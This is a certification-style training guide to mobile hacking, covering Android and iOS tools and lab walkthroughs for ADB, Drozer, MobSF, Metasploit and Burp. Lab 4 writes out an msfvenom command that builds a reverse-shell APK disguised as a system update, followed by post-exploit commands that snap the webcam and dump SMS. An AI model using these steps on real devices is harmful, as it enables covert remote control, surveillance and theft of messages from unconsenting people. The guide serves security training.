# Module 17: Hacking Mobile Platforms - Practical Guide

This guide consolidates the essential toolset and step-by-step procedures for the hands-on lab sessions required to master mobile platform auditing (Android and iOS).

## 1. Comprehensive Mobile Hacking Toolset

### Android-Specific Tools

* **ADB (Android Debug Bridge):** A versatile command-line tool that lets you communicate with an Android device. It is used for shell access, file transfers, and installing/uninstalling apps.
* **Drozer:** A comprehensive security audit and attack framework for Android. It allows you to search for vulnerabilities in apps by interacting with their IPC (Inter-Process Communication) mechanisms.
* **Magisk / SuperSU:** Tools used for rooting Android devices to gain administrative (root) control.

### iOS-Specific Tools

* **Cydia / Sileo:** Package managers for jailbroken iOS devices used to install unauthorized apps and command-line utilities.
* **Cydia Impactor:** A GUI tool used to sideload IPA files to iOS devices.
* **Checkra1n / Unc0ver:** Modern jailbreaking tools used to bypass Apple's software restrictions.

### Multi-Platform & Analysis Tools

* **MobSF (Mobile Security Framework):** An automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis, and security assessment framework.
* **Frida:** A dynamic instrumentation toolkit. It allows you to inject snippets of JavaScript or your own library into native apps on Windows, macOS, GNU/Linux, iOS, and Android.
* **Appium:** An open-source tool for automating native, mobile web, and hybrid applications on iOS, Android, and Windows.
* **Metasploit:** Used to generate malicious APKs or IPAs using msfvenom and manage remote sessions via the multi/handler.

## 2. Hands-On Lab Sessions

### Lab 1: Android Reconnaissance with ADB

**Goal:** Interface with an Android device to extract system information and files.

1. **Setup:** Enable "USB Debugging" in the device's Developer Options.
2. **Verify Connection:** Run adb devices.
3. **Explore System:**
   * adb shell getprop ro.build.version.release (Identify OS version).
   * adb shell pm list packages (List all installed applications).
4. **File Manipulation:**
   * adb pull /sdcard/Download/sensitive\_data.txt (Download file to PC).
   * adb push exploit.sh /data/local/tmp/ (Upload file to device).

### Lab 2: Vulnerability Assessment with Drozer

**Goal:** Identify the attack surface of a specific Android application.

1. **Start Session:** Launch the Drozer Agent on the device and run adb forward tcp:31415 tcp:31415. Connect via drozer console connect.
2. **Identify Target:** run app.package.list -f [App\_Name].
3. **Analyze Surface:** run app.package.attacksurface [Package\_Name].
4. **Exploit Content Providers:** If the surface shows exported providers, attempt to query them:  
   run app.provider.query content://com.example.app.provider/credentials/

### Lab 3: Automated Analysis with MobSF

**Goal:** Perform static and dynamic analysis on an APK file to find hardcoded secrets and logic flaws.

1. **Launch MobSF:** Start the MobSF server/container.
2. **Upload:** Upload a sample APK (e.g., a "Capture The Flag" mobile app).
3. **Review Static Report:**
   * **Manifest Analysis:** Check for android:allowBackup="true" or android:debuggable="true".
   * **Certificate Analysis:** Check if the app is self-signed.
   * **Code Analysis:** Identify hardcoded API keys, URLs, or insecure cryptographic functions.

### Lab 4: Creating a Malicious APK (Metasploit)

**Goal:** Understand how "App Repackaging" works by creating a standalone malicious installer.

1. **Generate Payload:**  
   msfvenom -p android/meterpreter/reverse\_tcp LHOST=[Your\_IP] LPORT=4444 R > system\_update.apk
2. **Listener Setup:** In Metasploit, use exploit/multi/handler and set the payload to android/meterpreter/reverse\_tcp.
3. **Execution:** Once the victim installs and opens the app, you gain a Meterpreter shell.
4. **Post-Exploit:** Use webcam\_snap or dump\_sms to demonstrate the impact.

### Lab 5: Intercepting Mobile Traffic (Burp Suite)

**Goal:** Sniff HTTPS traffic from a mobile device to analyze API calls.

1. **Proxy Config:** Set the mobile device's Wi-Fi proxy to your PC's IP on port 8080.
2. **Certificate Install:** Browse to http://burp on the mobile device, download the CA certificate, and install it in the device's Trusted Credentials.
3. **Capture:** Open a mobile application and monitor the **HTTP History** in Burp to see cleartext credentials or session tokens sent to the backend.

## 3. CEH Practical Tips

* **Sandboxing:** Always remember that Android's primary security is the Linux-level sandbox (UID per app).
* **Jailbreak Types:** Know the difference between **Untethered** (survives reboot) and **Tethered** (requires PC to boot).
* **Juice Jacking:** This is a physical attack via malicious USB charging stations.
* **SS7:** The protocol responsible for SMS/Call routing that attackers exploit for 2FA interception.